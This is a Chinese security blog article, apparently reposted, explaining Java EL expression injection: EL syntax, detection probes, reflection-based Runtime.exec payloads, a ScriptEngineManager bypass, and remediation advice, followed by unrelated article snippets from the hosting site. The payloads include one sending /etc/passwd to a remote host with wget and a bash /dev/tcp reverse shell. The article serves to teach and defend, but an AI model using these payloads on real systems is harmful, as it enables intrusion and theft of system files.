java 代碼執行el,專屬于java的漏洞——EL表達式注入

前言“FSRC經驗分享”系列文章,旨在分享焦點科技信息安全部工作過程中的經驗總結,包括但不限于漏洞分析、運營技巧、sdl推行、等保合規、自研工具等等。

歡迎各位安全從業者持續關注~

0x01EL簡介

表達式語言(Expression Language 以下簡稱EL)是以JSTL(JavaServer Pages Standard Tag Library,JSP標準標簽庫)的一部分出現的,原本被叫做SPEL(Simplest Possible Expression Language,簡單的表達式語言),后來被稱作EL(Expression Language,表達式語言)。它是一種腳本語言,允許通過JSP訪問Java組件(JavaBeans)。自JSP 2.0以來,表達式語言已經被內置到JSP標簽中,用于從JSP中分離Java代碼,并允許(比用Java代碼)更方便訪問Java組件。

Java中有多種表達式語言,比如:JSTL_EL為JSP自帶的表達式,適用于所有的Java Web,SpEL為Spring框架的EL表達式,只在Spring框架中可用 ,還有Struts2的OGNL。

JSTL_EL,為傳統EL,通常簡稱為EL,這種表達式是JSP語言自帶的表達式,也就是說所有的Java Web服務都必然會支持這種表達式。但是由于各家對其實現的不同,也導致某些漏洞可以在一些Java Web服務中成功利用,而在有的服務中則是無法利用。典型漏洞如CVE-2011-2730

SpEL:JAVA Spring框架特有表達式,是一個支持查詢和操作運行時對象導航圖功能的強大的表達式語言. 它的語法類似于傳統EL,但提供額外的功能,最出色的就是函數調用和簡單字符串的模板函數。

0x02EL表達式的功能

EL主要的語法結構為:${ 表達式?}。其主要功能如下:

獲取數據:EL表達式主要用于替換JSP頁面中的腳本表達式,以從各種類型的Web域中檢索Java對象、獲取數據(某個Web域中的對象,訪問JavaBean的屬性、訪問List集合、訪問Map集合、訪問數組)

執行運算:利用EL表達式可以在JSP頁面中執行一些基本的關系運算、邏輯運算和算術運算,以在JSP頁面中完成一些簡單的邏輯運算,例如${user==null}

獲取Web開發常用對象:EL表達式定義了一些隱式對象,利用這些隱式對象,Web開發人員可以很輕松獲得對Web常用對象的引用,從而獲得這些對象中的數據

調用Java方法:EL表達式允許用戶開發自定義EL函數,以在JSP頁面中通過EL表達式調用Java類的方法

0x03漏洞常見PoC通用PoC//執行兩個數相加,xray的payload${889972849%2b988839806}//執行replace函數,頁面中應該出現bbb${"aaa".replace('a','b')}//對應于JSP頁面中的pageContext對象(注意:取的是pageContext對象)${pageContext}//文件頭參數${header}//訪問application作用域內部,可以獲取到應用的各種屬性,可獲取webRoot${applicationScope}

執行讀取文件命令

由于EL表達式中不能使用new操作符直接構建對象,也不能直接訪問到java的類文件,所以這里要使用反射

首先獲取java.lang.Runtime中的靜態方法getRuntime的Method對象,然后通過invoke方法獲取一個Runtime對象,接著就可以直接調用exec方法執行命令${"".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("wget+--post-file=/etc/passwd+http://ip:port",null,null).toString()}

如果開發人員做了安全防護措施,比如禁用了invoke方法,無法直接反射,則需要先反射 newInstance 創建javax.script.ScriptEngineManager 腳本引擎,再執行java.lang.Runtime exec

${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('wget+--post-file=/etc/passwd+http://ip:port')")}

獲取shell方式

(1)先獲取webRoot路徑,再寫入jsp文件

以【WooYun-2016-195845】為例,先確認使用EL表達式https://auth.p4p.xxxx.com/login?service=${1000-900}

獲取WebROOThttps://auth.p4p.xxxx.com/login?service=${applicationScope}javax.servlet.context.tempdir=/opt/app/eunomia/WEB-INF/tmp,org.springframework.web.context.WebApplicationContext.ROOT=Root WebApplicationContext

然后就用命令向這個目錄,寫入jsp即可

(2)直接反彈shell?method=gotoViewPage&type=${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("bash?-i?>&?/dev/tcp/ip/port?0>&1",null).getInputStream())}exec("")可替換其他獲取shell的命令

ip/port 替換為自己服務器的ipP.S:對于java?exec?本身不支持管道符、重定向符,執行命令可能不成功,可嘗試編碼后再執行http://www.jackson-t.ca/runtime-exec-payloads.html0x04漏洞修復方案盡量不使用外部輸入的內容作為EL表達式內容;若使用,則嚴格過濾EL表達式注入漏洞的payload關鍵字;如果需要排查Java程序中JUEL相關代碼,搜索如下關鍵類方法:javax.el.ExpressionFactory.createValueExpression()javax.el.ValueExpression.getValue()0x05免責聲明

本文中提到的相關資源已在網絡公布,僅供研究學習使用,請遵守《網絡安全法》等相關法律法規。

0x06參考資料

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/275611.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/275611.shtml
英文地址,請注明出處:http://en.pswp.cn/news/275611.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

護膚產生共鳴_通過以人為本的設計編織共鳴的20個指針

護膚產生共鳴Deep into a project right now, I can’t help but reflect on how I practice empathy in design. Human centered design means empathising with and designing for people, keeping our focus on people throughout. It is not just one stage, it is a minds…

谷歌已推送 Android Q Beta 1

開發四年只會寫業務代碼,分布式高并發都不會還做程序員? >>> 今日凌晨,谷歌正式推送了 Android Q 的首個 Beta 版本,Pixel 全系列手機可以嘗鮮體驗這款最新的系統。 據官方博客介紹,Android Q 為用戶帶來了…

對使用CodeSmith模板生成NHibernate的代碼的分析

CodeSmith是我們常用的代碼生成工具,其跟據不同的模板生成不同代碼的方式能大大加快我們的項目開發,減少重復勞動。NHibernate模板就是其常用模板之一。從這里可以下載到最新的模板文件。現在最新的版本為NHibernate-v1.2.1.2125,可以生成NHi…

若川誠邀你加源碼共讀群,每周一起學源碼

小提醒:若川視野公眾號面試、源碼等文章合集在菜單欄中間【源碼精選】按鈕,歡迎點擊閱讀,也可以星標我的公眾號,便于查找。回復pdf,可以獲取前端優質書籍。最近我創建了一個源碼共讀的前端交流群,希望嘗試幫…

matlab 規范,matlab-代碼-規范

matlab-代碼-規范 1. 標識符命名原則 標識符的名字應當直觀,其長度應當符合“最小長度,最大信息量”原則。 1) 非矩陣變量: 變量名應該以小寫字母開頭的大小寫混合形式 譬如:shadowFadingTable,servingSector&#xf…

zoom視頻會議官網_人性化視頻會議的空間(Zoom等)

zoom視頻會議官網第二部分:房間的創造力 (Part Two: The Creativity of Rooms) In Part One I shared thoughts on how virtual spaces can often leave little room to embody our most human selves. The lack of a public sphere that parallels our shared publ…

KOFLive Postmortem

為期兩個月的團隊項目完成了,我們的游戲也已經發布。在這個名叫KOFLive的小游戲里,我們集成了五個真人角色,每個角色有拳腳基本招數以及三個小招、一個大招,硬值、防御、集氣、雙人對戰、人機對戰、練習模式等格斗游戲的Feature基…

單調隊列優化多重背包

就是按照 % 體積的余數來分組&#xff0c;每組單調隊列優化。 直接上模板好了。 1 #include <bits/stdc.h>2 3 typedef long long LL;4 const int N 100010;5 6 int n, V, cnt[N], cost[N];7 LL f[2][N], val[N], p[N], top, head;8 9 inline void Max(LL &a, const…

2021年7月 蝦皮、貨拉拉、有贊等面經總結

大家好&#xff0c;我是若川&#xff0c;加我微信 ruochuan12 進源碼交流群。今天分享一篇7月份新鮮出爐的面經&#xff0c;文章較長&#xff0c;可以收藏再看。學習源碼系列、面試、年度總結、JS基礎系列。本文來自作者幾米陽光 投稿 原文鏈接&#xff1a;https://juejin.cn/p…

Oracle對表名大小寫敏感嗎,讓Oracle 大小寫敏感 表名 字段名 對像名

一、解決方案1、在表名、字段名、對象名上加上雙引號&#xff0c;即可實現讓oracle大小寫區分。2、但是這又引起了另一個問題&#xff1a;在數據庫操作中&#xff0c;sql語句中相應的表名、字段名、對象名上一定要加雙引號。解決辦法是&#xff1a;使用"\"轉義。如&a…

谷歌抽屜_Google(最終)會殺死導航抽屜嗎?

谷歌抽屜A couple of months ago Google has celebrated with enthusiasm 15 years of Google Maps, one of the most used and appreciated services worldwide from the company.幾個月前&#xff0c;Google熱情地慶祝Google Maps誕生15周年&#xff0c;這是該公司在全球范圍…

MySQL——安裝

MySQL——安裝 1. 下載源&#xff1a; http://repo.mysql.com/yum/mysql-8.0-community/el/7/x86_64/mysql80-community-release-el7-2.noarch.rpm 該源目前為8.0版本&#xff0c;如果需要最新請退至根目錄找。 1wget http://repo.mysql.com/yum/mysql-8.0-community/el/7/x86_…

寫給初中級前端的高級進階指南等

大家好&#xff0c;我是若川。話不多說&#xff0c;這一次花了幾小時精心為大家挑選了20余篇好文&#xff0c;供大家閱讀學習。本文閱讀技巧&#xff0c;先粗看標題&#xff0c;感興趣可以都關注一波&#xff0c;絕對不虧。程序員成長指北考拉妹子&#xff0c;一個有趣的且樂于…

oracle for函數,oracle分區表述的FOR語句(一)

指定一個分區除了使用分區名稱外&#xff0c;很多時候還可以使用FOR語句。從11g開始&#xff0c;對分區進行操作的時候&#xff0c;不僅可以使用分區名稱&#xff0c;還可以使用FOR語句。在10g中&#xff0c;MERGE RANGE分區的語句如下&#xff1a;SQL> SELECT * FROM V$VER…

axure9控件樹 rp_如何在Axure RP 9中創建分段控件

axure9控件樹 rpSegmented controls are not very easy to tackle in prototyping. This is especially true when you have more than 2 segments. This article will show you how to create a segmented control with 3 segments in Axure in just 2 simple steps. The tech…

stack

1. 棧數據結構簡單介紹 2. 簡單實現代碼及stl中stack簡單使用 3. 代碼下載 1. 棧數據結構簡單介紹 棧是這樣的一種數據結構&#xff0c;遵循“先進后出”的原則。在stack上定義如下的operations&#xff1a; 1. 判空 2. 入棧push 3. 出棧pop&#xff0c;在棧的不同實現版本中&…

MacOS搭建環境

基礎環境 從AppStore下載 有道云筆記微信網易云音樂Chrome瀏覽器postmanChrome插件云筆記剪報基礎命令 mac下別名vi ~/.bash_profile 添加 alias llls -alF alias lals -A alias lls -CF 保存后執行(不能有空格) source ~/.bash_profile復制代碼開發環境 PhpStorm 從官網下載Ph…

【送書-小姐姐配音】低代碼平臺的核心價值與優勢

大家好&#xff0c;我是若川。記得點上方聽小姐姐配音&#xff0c;識別下方二維碼加我微信 ruochuan12&#xff0c;明天&#xff08;8月8日&#xff09;晚8點在朋友圈發動態。點贊抽3位小伙伴包郵送《實戰低代碼》&#xff0c;細則見動態。最近組織了源碼共讀活動&#xff0c;每…

oracle靜默安裝集群,靜默安裝Oracle數據庫10g篇

靜默安裝Oracle數據庫10g篇以下是在Linux系統上靜默安裝Oracle數據庫10g的實踐過程&#xff0c;主要分為以下兩個步驟&#xff1a;Step 1&#xff0e;靜默安裝Oracle數據庫10g軟件1. 使用OUI錄制響應文件&#xff0c;記錄安裝過程執行以下命令&#xff0c;然后在OUI中根據提示執…

sketch鋼筆工具_設計工具(Sketch,Adobe XD,Figma和InVision Studio)中奇怪的一項功能

sketch鋼筆工具When you build a new product that is very similar to the existing products in the market, the designers and product managers tend to do certain features different from others. Sometimes this brings a good change, sometimes worse.當您構建與市場…